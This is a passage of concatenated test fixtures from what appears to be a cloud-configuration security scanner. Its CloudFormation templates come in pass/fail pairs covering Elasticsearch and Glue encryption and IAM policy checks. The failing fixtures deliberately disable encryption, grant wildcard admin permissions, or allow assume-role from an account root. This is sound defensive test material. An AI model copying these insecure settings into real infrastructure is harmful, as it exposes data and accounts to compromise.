Description: ElasticsearchDomain resource Parameters: DomainName: Description: User defined Elasticsearch Domain name Type: String ElasticsearchVersion: Description: User defined Elasticsearch Version Type: String InstanceType: Type: String AvailabilityZone: Type: String CidrBlock: Type: String AllowedPattern: '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\/([0-9]|[1-2][0-9]|3[0-2]))$' #GroupDescription: # Type: String #SGName: # Type: String SecurityGroup: Description: Security Group for ALB Type: AWS::EC2::SecurityGroup::Id Default: sg-0123456789abcdefc Resources: ElasticsearchDomain: Type: AWS::Elasticsearch::Domain Properties: DomainName: !Ref DomainName EncryptionAtRestOptions: Enabled: False #Enabled: True # KmsKeyId: 1a2a3a4-1a2a-3a4a-5a6a-1a2a3a4a5a6a ########## NodeToNodeEncryptionOptions: # Enabled: False Enabled: True ElasticsearchVersion: !Ref ElasticsearchVersion ElasticsearchClusterConfig: InstanceCount: 1 InstanceType: !Ref InstanceType EBSOptions: EBSEnabled: True Iops: 0 VolumeSize: 10 VolumeType: standard SnapshotOptions: AutomatedSnapshotStartHour: 0 AccessPolicies: Version: 2012-10-17 Statement: - Effect: Deny Principal: AWS: '*' Action: 'es:*' Resource: '*' AdvancedOptions: rest.action.multi.allow_explicit_index: 'true' Tags: - Key: foo Value: bar VPCOptions: SubnetIds: - !Ref subnet SecurityGroupIds: - !Ref SecurityGroup #- !Ref mySecurityGroup vpc: Type: AWS::EC2::VPC Properties: CidrBlock: 10.0.0.0/16 subnet: Type: AWS::EC2::Subnet Properties: VpcId: !Ref vpc CidrBlock: !Ref CidrBlock AvailabilityZone: !Ref AvailabilityZone #mySecurityGroup: # Type: AWS::EC2::SecurityGroup # Properties: # GroupDescription: !Ref GroupDescription # VpcId: !Ref vpc # GroupName: !Ref SGName # SecurityGroupIngress: # - Description: 'HTTP Ingress' # FromPort: 443 # IpProtocol: tcp # ToPort: 443 # CidrIp: 0.0.0.0/0 Outputs: DomainArn: Value: !GetAtt ElasticsearchDomain.DomainArn DomainEndpoint: Value: !GetAtt ElasticsearchDomain.DomainEndpoint #SecurityGroupId: # Value: !Ref mySecurityGroup SubnetId: Value: !Ref subnet ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticsearchEncryption/ElasticsearchEncryption-PASSED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: ElasticsearchDomain resource Parameters: DomainName: Description: User defined Elasticsearch Domain name Type: String ElasticsearchVersion: Description: User defined Elasticsearch Version Type: String InstanceType: Type: String AvailabilityZone: Type: String CidrBlock: Type: String AllowedPattern: '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\/([0-9]|[1-2][0-9]|3[0-2]))$' #GroupDescription: # Type: String #SGName: # Type: String SecurityGroup: Description: Security Group for ALB Type: AWS::EC2::SecurityGroup::Id Default: sg-0123456789abcdefc Resources: ElasticsearchDomain: Type: AWS::Elasticsearch::Domain Properties: DomainName: !Ref DomainName EncryptionAtRestOptions: #Enabled: False Enabled: True # KmsKeyId: 1a2a3a4-1a2a-3a4a-5a6a-1a2a3a4a5a6a ########## NodeToNodeEncryptionOptions: # Enabled: False Enabled: True ElasticsearchVersion: !Ref ElasticsearchVersion ElasticsearchClusterConfig: InstanceCount: 1 InstanceType: !Ref InstanceType EBSOptions: EBSEnabled: True Iops: 0 VolumeSize: 10 VolumeType: standard SnapshotOptions: AutomatedSnapshotStartHour: 0 AccessPolicies: Version: 2012-10-17 Statement: - Effect: Deny Principal: AWS: '*' Action: 'es:*' Resource: '*' AdvancedOptions: rest.action.multi.allow_explicit_index: 'true' Tags: - Key: foo Value: bar VPCOptions: SubnetIds: - !Ref subnet SecurityGroupIds: - !Ref SecurityGroup #- !Ref mySecurityGroup vpc: Type: AWS::EC2::VPC Properties: CidrBlock: 10.0.0.0/16 subnet: Type: AWS::EC2::Subnet Properties: VpcId: !Ref vpc CidrBlock: !Ref CidrBlock AvailabilityZone: !Ref AvailabilityZone #mySecurityGroup: # Type: AWS::EC2::SecurityGroup # Properties: # GroupDescription: !Ref GroupDescription # VpcId: !Ref vpc # GroupName: !Ref SGName # SecurityGroupIngress: # - Description: 'HTTP Ingress' # FromPort: 443 # IpProtocol: tcp # ToPort: 443 # CidrIp: 0.0.0.0/0 Outputs: DomainArn: Value: !GetAtt ElasticsearchDomain.DomainArn DomainEndpoint: Value: !GetAtt ElasticsearchDomain.DomainEndpoint #SecurityGroupId: # Value: !Ref mySecurityGroup SubnetId: Value: !Ref subnet ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticsearchNodeToNodeEncryption/ElasticsearchNodeToNodeEncryption-FAILED-2.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: ElasticsearchDomain resource Parameters: DomainName: Description: User defined Elasticsearch Domain name Type: String ElasticsearchVersion: Description: User defined Elasticsearch Version Type: String InstanceType: Type: String AvailabilityZone: Type: String CidrBlock: Type: String AllowedPattern: '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\/([0-9]|[1-2][0-9]|3[0-2]))$' #GroupDescription: # Type: String #SGName: # Type: String SecurityGroup: Description: Security Group for ALB Type: AWS::EC2::SecurityGroup::Id Default: sg-0123456789abcdefc Resources: ElasticsearchDomain: Type: AWS::Elasticsearch::Domain Properties: DomainName: !Ref DomainName EncryptionAtRestOptions: Enabled: True ElasticsearchVersion: !Ref ElasticsearchVersion ElasticsearchClusterConfig: InstanceCount: 1 InstanceType: !Ref InstanceType EBSOptions: EBSEnabled: True Iops: 0 VolumeSize: 10 VolumeType: standard SnapshotOptions: AutomatedSnapshotStartHour: 0 AccessPolicies: Version: 2012-10-17 Statement: - Effect: Deny Principal: AWS: '*' Action: 'es:*' Resource: '*' AdvancedOptions: rest.action.multi.allow_explicit_index: 'true' Tags: - Key: foo Value: bar VPCOptions: SubnetIds: - !Ref subnet SecurityGroupIds: - !Ref SecurityGroup #- !Ref mySecurityGroup vpc: Type: AWS::EC2::VPC Properties: CidrBlock: 10.0.0.0/16 subnet: Type: AWS::EC2::Subnet Properties: VpcId: !Ref vpc CidrBlock: !Ref CidrBlock AvailabilityZone: !Ref AvailabilityZone #mySecurityGroup: # Type: AWS::EC2::SecurityGroup # Properties: # GroupDescription: !Ref GroupDescription # VpcId: !Ref vpc # GroupName: !Ref SGName # SecurityGroupIngress: # - Description: 'HTTP Ingress' # FromPort: 443 # IpProtocol: tcp # ToPort: 443 # CidrIp: 0.0.0.0/0 Outputs: DomainArn: Value: !GetAtt ElasticsearchDomain.DomainArn DomainEndpoint: Value: !GetAtt ElasticsearchDomain.DomainEndpoint #SecurityGroupId: # Value: !Ref mySecurityGroup SubnetId: Value: !Ref subnet ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticsearchNodeToNodeEncryption/ElasticsearchNodeToNodeEncryption-FAILED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: ElasticsearchDomain resource Parameters: DomainName: Description: User defined Elasticsearch Domain name Type: String ElasticsearchVersion: Description: User defined Elasticsearch Version Type: String InstanceType: Type: String AvailabilityZone: Type: String CidrBlock: Type: String AllowedPattern: '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\/([0-9]|[1-2][0-9]|3[0-2]))$' #GroupDescription: # Type: String #SGName: # Type: String SecurityGroup: Description: Security Group for ALB Type: AWS::EC2::SecurityGroup::Id Default: sg-0123456789abcdefc Resources: ElasticsearchDomain: Type: AWS::Elasticsearch::Domain Properties: DomainName: !Ref DomainName EncryptionAtRestOptions: #Enabled: False Enabled: True # KmsKeyId: 1a2a3a4-1a2a-3a4a-5a6a-1a2a3a4a5a6a ########## NodeToNodeEncryptionOptions: Enabled: False # Enabled: True ElasticsearchVersion: !Ref ElasticsearchVersion ElasticsearchClusterConfig: InstanceCount: 1 InstanceType: !Ref InstanceType EBSOptions: EBSEnabled: True Iops: 0 VolumeSize: 10 VolumeType: standard SnapshotOptions: AutomatedSnapshotStartHour: 0 AccessPolicies: Version: 2012-10-17 Statement: - Effect: Deny Principal: AWS: '*' Action: 'es:*' Resource: '*' AdvancedOptions: rest.action.multi.allow_explicit_index: 'true' Tags: - Key: foo Value: bar VPCOptions: SubnetIds: - !Ref subnet SecurityGroupIds: - !Ref SecurityGroup #- !Ref mySecurityGroup vpc: Type: AWS::EC2::VPC Properties: CidrBlock: 10.0.0.0/16 subnet: Type: AWS::EC2::Subnet Properties: VpcId: !Ref vpc CidrBlock: !Ref CidrBlock AvailabilityZone: !Ref AvailabilityZone #mySecurityGroup: # Type: AWS::EC2::SecurityGroup # Properties: # GroupDescription: !Ref GroupDescription # VpcId: !Ref vpc # GroupName: !Ref SGName # SecurityGroupIngress: # - Description: 'HTTP Ingress' # FromPort: 443 # IpProtocol: tcp # ToPort: 443 # CidrIp: 0.0.0.0/0 Outputs: DomainArn: Value: !GetAtt ElasticsearchDomain.DomainArn DomainEndpoint: Value: !GetAtt ElasticsearchDomain.DomainEndpoint #SecurityGroupId: # Value: !Ref mySecurityGroup SubnetId: Value: !Ref subnet ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticsearchNodeToNodeEncryption/ElasticsearchNodeToNodeEncryption-PASSED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: ElasticsearchDomain resource Parameters: DomainName: Description: User defined Elasticsearch Domain name Type: String ElasticsearchVersion: Description: User defined Elasticsearch Version Type: String InstanceType: Type: String AvailabilityZone: Type: String CidrBlock: Type: String AllowedPattern: '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\/([0-9]|[1-2][0-9]|3[0-2]))$' #GroupDescription: # Type: String #SGName: # Type: String SecurityGroup: Description: Security Group for ALB Type: AWS::EC2::SecurityGroup::Id Default: sg-0123456789abcdefc Resources: ElasticsearchDomain: Type: AWS::Elasticsearch::Domain Properties: DomainName: !Ref DomainName EncryptionAtRestOptions: #Enabled: False Enabled: True # KmsKeyId: 1a2a3a4-1a2a-3a4a-5a6a-1a2a3a4a5a6a ########## NodeToNodeEncryptionOptions: # Enabled: False Enabled: True ElasticsearchVersion: !Ref ElasticsearchVersion ElasticsearchClusterConfig: InstanceCount: 1 InstanceType: !Ref InstanceType EBSOptions: EBSEnabled: True Iops: 0 VolumeSize: 10 VolumeType: standard SnapshotOptions: AutomatedSnapshotStartHour: 0 AccessPolicies: Version: 2012-10-17 Statement: - Effect: Deny Principal: AWS: '*' Action: 'es:*' Resource: '*' AdvancedOptions: rest.action.multi.allow_explicit_index: 'true' Tags: - Key: foo Value: bar VPCOptions: SubnetIds: - !Ref subnet SecurityGroupIds: - !Ref SecurityGroup #- !Ref mySecurityGroup vpc: Type: AWS::EC2::VPC Properties: CidrBlock: 10.0.0.0/16 subnet: Type: AWS::EC2::Subnet Properties: VpcId: !Ref vpc CidrBlock: !Ref CidrBlock AvailabilityZone: !Ref AvailabilityZone #mySecurityGroup: # Type: AWS::EC2::SecurityGroup # Properties: # GroupDescription: !Ref GroupDescription # VpcId: !Ref vpc # GroupName: !Ref SGName # SecurityGroupIngress: # - Description: 'HTTP Ingress' # FromPort: 443 # IpProtocol: tcp # ToPort: 443 # CidrIp: 0.0.0.0/0 Outputs: DomainArn: Value: !GetAtt ElasticsearchDomain.DomainArn DomainEndpoint: Value: !GetAtt ElasticsearchDomain.DomainEndpoint #SecurityGroupId: # Value: !Ref mySecurityGroup SubnetId: Value: !Ref subnet ================================================ FILE: tests/cloudformation/checks/resource/aws/example_GlueDataCatalogEncryption/GlueDataCatalogEncryption-FAILED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: 'AWS::Glue::DataCatalogEncryptionSettings' Properties: CatalogId: "CatalogId" DataCatalogEncryptionSettings: ConnectionPasswordEncryption: KmsKeyId: "KmsKeyId" ReturnConnectionPasswordEncrypted: True EncryptionAtRest: CatalogEncryptionMode: "Disabled" SseAwsKmsKeyId: "SseAwsKmsKeyId" Resource1: Type: 'AWS::Glue::DataCatalogEncryptionSettings' Properties: CatalogId: "CatalogId" DataCatalogEncryptionSettings: ConnectionPasswordEncryption: KmsKeyId: "KmsKeyId" ReturnConnectionPasswordEncrypted: False Resource2: Type: 'AWS::Glue::DataCatalogEncryptionSettings' Properties: CatalogId: "CatalogId" DataCatalogEncryptionSettings: EncryptionAtRest: CatalogEncryptionMode: "Disabled" SseAwsKmsKeyId: "SseAwsKmsKeyId" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_GlueDataCatalogEncryption/GlueDataCatalogEncryption-PASSED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: 'AWS::Glue::DataCatalogEncryptionSettings' Properties: CatalogId: "CatalogId" DataCatalogEncryptionSettings: ConnectionPasswordEncryption: KmsKeyId: "KmsKeyId" ReturnConnectionPasswordEncrypted: True EncryptionAtRest: CatalogEncryptionMode: "SSE-KMS" SseAwsKmsKeyId: "SseAwsKmsKeyId" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_GlueSecurityConfiguration/GlueSecurityConfiguration-FAILED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: AWS::Glue::SecurityConfiguration Properties: Name: Name EncryptionConfiguration: CloudWatchEncryption: CloudWatchEncryptionMode: DISABLED KmsKeyArn: KmsKeyArn JobBookmarksEncryption: JobBookmarksEncryptionMode: CSE-KMS KmsKeyArn: KmsKeyArn S3Encryptions: - KmsKeyArn: KmsKeyArn S3EncryptionMode: SSE-KMS Resource1: Type: AWS::Glue::SecurityConfiguration Properties: Name: Name EncryptionConfiguration: CloudWatchEncryption: CloudWatchEncryptionMode: DISABLED KmsKeyArn: KmsKeyArn JobBookmarksEncryption: JobBookmarksEncryptionMode: DISABLED KmsKeyArn: KmsKeyArn S3Encryptions: - KmsKeyArn: KmsKeyArn S3EncryptionMode: DISABLED Resource2: Type: AWS::Glue::SecurityConfiguration Properties: Name: Name EncryptionConfiguration: CloudWatchEncryption: CloudWatchEncryptionMode: SSE-KMS KmsKeyArn: KmsKeyArn JobBookmarksEncryption: JobBookmarksEncryptionMode: CSE-KMS KmsKeyArn: KmsKeyArn Resource3: Type: AWS::Glue::SecurityConfiguration Properties: Name: Name EncryptionConfiguration: S3Encryptions: - KmsKeyArn: DISABLED S3EncryptionMode: SSE-KMS ================================================ FILE: tests/cloudformation/checks/resource/aws/example_GlueSecurityConfiguration/GlueSecurityConfiguration-PASSED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: AWS::Glue::SecurityConfiguration Properties: Name: Name EncryptionConfiguration: CloudWatchEncryption: CloudWatchEncryptionMode: SSE-KMS KmsKeyArn: KmsKeyArn JobBookmarksEncryption: JobBookmarksEncryptionMode: CSE-KMS KmsKeyArn: KmsKeyArn S3Encryptions: - KmsKeyArn: KmsKeyArn S3EncryptionMode: SSE-KMS Resource1: Type: AWS::Glue::SecurityConfiguration Properties: Name: Name EncryptionConfiguration: CloudWatchEncryption: CloudWatchEncryptionMode: SSE-KMS KmsKeyArn: KmsKeyArn JobBookmarksEncryption: JobBookmarksEncryptionMode: CSE-KMS KmsKeyArn: KmsKeyArn S3Encryptions: KmsKeyArn: KmsKeyArn S3EncryptionMode: SSE-KMS ================================================ FILE: tests/cloudformation/checks/resource/aws/example_GlueSecurityConfigurationEnabled/FAIL.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: CrawlerDefault: Type: AWS::Glue::Crawler Properties: Name: example Role: arn:aws:iam::123456789012:role/role Targets: S3Targets: - Path: s3-bucket DevEndpointDefault: Type: AWS::Glue::DevEndpoint Properties: EndpointName: example RoleArn: arn:aws:iam::123456789012:role/role JobDefault: Type: AWS::Glue::Job Properties: Command: Name: glueetl ScriptLocation: s3://aws-glue-scripts//prod-job Name: example Role: arn:aws:iam::123456789012:role/role ================================================ FILE: tests/cloudformation/checks/resource/aws/example_GlueSecurityConfigurationEnabled/PASS.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: CrawlerEnabled: Type: AWS::Glue::Crawler Properties: Name: example Role: arn:aws:iam::123456789012:role/role Targets: S3Targets: - Path: s3-bucket CrawlerSecurityConfiguration: security-conf DevEndpointEnabled: Type: AWS::Glue::DevEndpoint Properties: EndpointName: example RoleArn: arn:aws:iam::123456789012:role/role SecurityConfiguration: security-conf JobEnabled: Type: AWS::Glue::Job Properties: Command: Name: glueetl ScriptLocation: s3://aws-glue-scripts//prod-job Name: example Role: arn:aws:iam::123456789012:role/role SecurityConfiguration: security-conf ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMAdminPolicyDocument/iam_group.fail.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Description": "Insecure Inline policy on Group", "Resources": { "mygroup": { "Type": "AWS::IAM::Group", "Properties": { "Path": "/myapplication/", "Policies": [ { "PolicyName": "fails", "PolicyDocument": { "Statement": [ { "Action": [ "s3:HeadBucket", "*" ], "Effect": "Allow", "Resource": [ "arn:aws:s3:::b1", "arn:aws:s3:::b1/*", "*" ], "Sid": "" } ], "Version": "2012-10-17" } } ] } } } } ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMAdminPolicyDocument/iam_group.pass.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Description": "Create a variable number of IAM resources.", "Resources": { "mygroup": { "Type": "AWS::IAM::Group", "Properties": { "Path": "/myapplication/", "Policies": [ { "PolicyName": "fails", "PolicyDocument": { "Statement": [ { "Action": [ "s3:ListBucket*", "s3:HeadBucket", "s3:Get*" ], "Effect": "Allow", "Resource": [ "arn:aws:s3:::b1", "arn:aws:s3:::b1/*", "arn:aws:s3:::b2", "arn:aws:s3:::b2/*" ], "Sid": "" }, { "Action": "s3:PutObject*", "Effect": "Allow", "Resource": "arn:aws:s3:::b1/*", "Sid": "" } ], "Version": "2012-10-17" } } ] } } } } ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMAdminPolicyDocument/iam_policy.fail.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Description": "Create a variable number of IAM resources.", "Resources": { "NEWPolicy": { "Type": "AWS::IAM::Policy", "Properties": { "PolicyName": "CFNUsers", "PolicyDocument": { "Statement": [ { "Action": [ "s3:HeadBucket", "*" ], "Effect": "Allow", "Resource": [ "arn:aws:s3:::b1", "arn:aws:s3:::b1/*", "*" ], "Sid": "" } ], "Version": "2012-10-17" }, "Groups": [ { "Ref": "CFNUserGroup" } ] } }, "CFNUserGroup": { "Type": "AWS::IAM::Group", "Properties": { "Path": "/myapplication/", "Policies": [] } } } } ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMAdminPolicyDocument/iam_policy.pass.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Description": "Create a variable number of IAM resources.", "Resources": { "NEWPolicy": { "Type": "AWS::IAM::Policy", "Properties": { "PolicyName": "CFNUsers", "PolicyDocument": { "Statement": [ { "Action": [ "s3:ListBucket*", "s3:HeadBucket", "s3:Get*" ], "Effect": "Allow", "Resource": [ "arn:aws:s3:::b1", "arn:aws:s3:::b1/*", "arn:aws:s3:::b2", "arn:aws:s3:::b2/*" ], "Sid": "" }, { "Action": "s3:PutObject*", "Effect": "Allow", "Resource": "arn:aws:s3:::b1/*", "Sid": "" } ], "Version": "2012-10-17" }, "Groups": [ { "Ref": "CFNUserGroup" } ] } }, "CFNUserGroup": { "Type": "AWS::IAM::Group", "Properties": { "Path": "/myapplication/", "Policies": [] } } } } ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMAdminPolicyDocument/iam_role.fail.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Resources": { "RootRole": { "Type": "AWS::IAM::Role", "Properties": { "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": [ "ec2.amazonaws.com" ] }, "Action": [ "sts:AssumeRole" ] } ] }, "Path": "/", "Policies": [ { "PolicyName": "root", "PolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "*", "Resource": "*" } ] } } ] } }, "RootInstanceProfile": { "Type": "AWS::IAM::InstanceProfile", "Properties": { "Path": "/", "Roles": [ { "Ref": "RootRole" } ] } } } } ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMAdminPolicyDocument/iam_role.pass.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Resources": { "RootRole": { "Type": "AWS::IAM::Role", "Properties": { "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": [ "ec2.amazonaws.com" ] }, "Action": [ "sts:AssumeRole" ] } ] }, "Path": "/", "Policies": [ { "PolicyName": "root", "PolicyDocument": { "Statement": [ { "Action": [ "s3:ListBucket*", "s3:HeadBucket", "s3:Get*" ], "Effect": "Allow", "Resource": [ "arn:aws:s3:::b1", "arn:aws:s3:::b1/*", "arn:aws:s3:::b2", "arn:aws:s3:::b2/*" ], "Sid": "" }, { "Action": "s3:PutObject*", "Effect": "Allow", "Resource": "arn:aws:s3:::b1/*", "Sid": "" } ], "Version": "2012-10-17" } } ] } }, "RootInstanceProfile": { "Type": "AWS::IAM::InstanceProfile", "Properties": { "Path": "/", "Roles": [ { "Ref": "RootRole" } ] } } } } ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMAdminPolicyDocument/iam_role.unknown.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Conditions: CreateExecPolicy: !Equals [0, 0] Resources: ExecRole: Type: AWS::IAM::Role Properties: Path: / AssumeRolePolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Principal: Service: - ec2.amazonaws.com Action: - 'sts:AssumeRole' Policies: !If - CreateExecPolicy - - PolicyName: root PolicyDocument: !Sub | { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "*", "Resource": "*" } ]} - !Ref AWS::NoValue CFNUserGroup: Type: AWS::IAM::Group ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMAdminPolicyDocument/iam_user.fail.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Metadata": { "License": "Apache-2.0" }, "Description": "AWS CloudFormation Sample Template IAM_Users_Groups_and_Policies: Sample template showing how to create IAM users, groups and policies. It creates a single user that is a member of a users group and an admin group. The groups each have different IAM policies associated with them. Note: This example also creates an AWSAccessKeyId/AWSSecretKey pair associated with the new user. The example is somewhat contrived since it creates all of the users and groups, typically you would be creating policies, users and/or groups that contain references to existing users or groups in your environment. Note that you will need to specify the CAPABILITY_IAM flag when you create the stack to allow this template to execute. You can do this through the AWS management console by clicking on the check box acknowledging that you understand this template creates IAM resources or by specifying the CAPABILITY_IAM flag to the cfn-create-stack command line tool or CreateStack API call.", "Parameters": { "Password": { "NoEcho": "true", "Type": "String", "Description": "New account password", "MinLength": "1", "MaxLength": "41", "ConstraintDescription": "the password must be between 1 and 41 characters" } }, "Resources": { "CFNUser": { "Type": "AWS::IAM::User", "Properties": { "LoginProfile": { "Password": { "Ref": "Password" } }, "Policies": [ { "PolicyName": "root", "PolicyDocument": { "Statement": [ { "Action": [ "s3:HeadBucket", "*" ], "Effect": "Allow", "Resource": [ "arn:aws:s3:::b1", "arn:aws:s3:::b1/*", "*" ], "Sid": "" } ], "Version": "2012-10-17" } } ] } } } } ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMAdminPolicyDocument/iam_user.pass.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Metadata": { "License": "Apache-2.0" }, "Description": "AWS CloudFormation Sample Template IAM_Users_Groups_and_Policies: Sample template showing how to create IAM users, groups and policies. It creates a single user that is a member of a users group and an admin group. The groups each have different IAM policies associated with them. Note: This example also creates an AWSAccessKeyId/AWSSecretKey pair associated with the new user. The example is somewhat contrived since it creates all of the users and groups, typically you would be creating policies, users and/or groups that contain references to existing users or groups in your environment. Note that you will need to specify the CAPABILITY_IAM flag when you create the stack to allow this template to execute. You can do this through the AWS management console by clicking on the check box acknowledging that you understand this template creates IAM resources or by specifying the CAPABILITY_IAM flag to the cfn-create-stack command line tool or CreateStack API call.", "Parameters": { "Password": { "NoEcho": "true", "Type": "String", "Description": "New account password", "MinLength": "1", "MaxLength": "41", "ConstraintDescription": "the password must be between 1 and 41 characters" } }, "Resources": { "CFNUser": { "Type": "AWS::IAM::User", "Properties": { "LoginProfile": { "Password": { "Ref": "Password" } }, "Policies": [ { "PolicyName": "root", "PolicyDocument": { "Statement": [ { "Action": [ "s3:ListBucket*", "s3:HeadBucket", "s3:Get*" ], "Effect": "Allow", "Resource": [ "arn:aws:s3:::b1", "arn:aws:s3:::b1/*", "arn:aws:s3:::b2", "arn:aws:s3:::b2/*" ], "Sid": "" }, { "Action": "s3:PutObject*", "Effect": "Allow", "Resource": "arn:aws:s3:::b1/*", "Sid": "" } ], "Version": "2012-10-17" } } ] } } } } ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMPolicyAttachedToGroupOrRoles/IAMPolicyAttachedToGroupOrRoles-FAILED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: IAM policy Resources: ExamplePolicy: Type: 'AWS::IAM::Policy' Properties: PolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Action: '*' Resource: '*' Roles: - example_role Users: - admin ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMPolicyAttachedToGroupOrRoles/IAMPolicyAttachedToGroupOrRoles-PASSED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: IAM policy Resources: ExamplePolicy: Type: 'AWS::IAM::Policy' Properties: PolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Action: '*' Resource: '*' Roles: - example_role ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMRoleAllowAssumeFromAccount/UNKNOWN.yml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: A sample template Resources: ## Missing Properties MyEC2Instance1: Type: "AWS::EC2::Instance1" myIamProfile: Type: "AWS::IAM::Role" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMRoleAllowAssumeFromAccount/example_IAMRoleAllowAssumeFromAccount-FAILED.yml ================================================ AWSTemplateFormatVersion: '2010-09-09' Description: Example Resources: ExecutionRole: Type: AWS::IAM::Role Properties: AssumeRolePolicyDocument: Version: "2012-10-17" Statement: - Effect: "Allow" Principal: AWS: - arn:aws:iam::123456789101:root Action: - "sts:AssumeRole" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMRoleAllowAssumeFromAccount/example_IAMRoleAllowAssumeFromAccount-PASSED-2.yml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: "Elastic Container Service" Parameters: ClusterName: Type: String Description: "ECS Cluster Name" ContainerStopTimeout: Type: Number Description: "Time in seconds that ECS should wait after issuing a docker stop before issuing a docker kill to a container" Default: 90 MinValue: 30 DataDogApiKey: Type: String Description: "Data Dog API Key" Default: "" NoEcho: true EbsRootSize: Type: Number Description: "The size in GB for the root EBS mount" Default: 100 MinValue: 30 EfsFileSystemId: Type: String Description: "EFS File System ID" Default: "" EfsMountPoint: Type: String Description: "EFS Mount Point" Default: "/mnt/efs" InfraBucketName: Type: String Description: "Infrastructure Bucket Name" InstallDatadogAgent: Type: String Description: "Specifies if the Datadog agent is to be installed" Default: "false" AllowedValues: - "true" - "false" InstanceType: Type: String Description: "ECS Cluster Instance Type" Default: "m4.xlarge" ContainerReservedMemoryAverage: Type: Number Description: "Average of containers reserved memory" Default: 5090 MaxServicePerInstanceTypeThreshold: Type: Number Description: "ECS Cluster Instance Type capacity based on - (InstanceType Memory / ContainerReservedMemoryAverage) + 2-" Default: 10 LibratoToken: Type: String Description: "Librato Token" Default: "" NoEcho: true LogDriver: Description: "The log driver to be used with ECS" Type: String Default: none LogentriesKey: Type: String Default: "" Description: "Logentries user-key" NoEcho: true LoggingDrivers: Type: String Description: "Logging Drivers" Default: '["awslogs","json-file","logentries","fluentd","splunk"]' LogzToken: Type: String Default: "" Description: "Logz Token" NoEcho: true KeyPairName: Type: AWS::EC2::KeyPair::KeyName Description: "SSH Key Pair Name" Default: "lh_infrastructure" MaxBatchSize: Type: Number Default: 1 MinValue: 1 MaxSize: Type: Number Default: 60 MinValue: 0 MinInstancesInService: Type: Number Default: 1 MinValue: 0 MinSize: Type: Number Default: 1 MinValue: 0 NvmeMountPoint1: Type: String Description: "The full path where nvme device 1 should be mounted" Default: "" NvmeMountPoint2: Type: String Description: "The full path where nvme device 2 should be mounted" Default: "" OldStyleSGName: Type: String Description: "Use the original Security group name, this option exists to allow some stacks to not have to replace the SG" Default: "no" PauseTime: Type: String Default: PT20M ScaleUpMemoryThreshold: Type: Number Description: "Percent RAM level at which more ECS contain instances should be added by the auto scale group" Default: 80 MinValue: 50 SplunkForwarderPass: Type: String Default: "" Description: "Splunk Forwarder Password" NoEcho: true SpotPrice: Type: Number Default: 0 MinValue: 0 SubnetIds: Type: CommaDelimitedList Description: "VPC Subnet IDs" VpcId: Type: AWS::EC2::VPC::Id Description: "VPC ID" Outputs: AutoScalingGroupName: Description: "Auto Scaling Group Name" Value: !Ref AutoScalingGroup ClusterArn: Description: "Cluster ARN" Value: !GetAtt 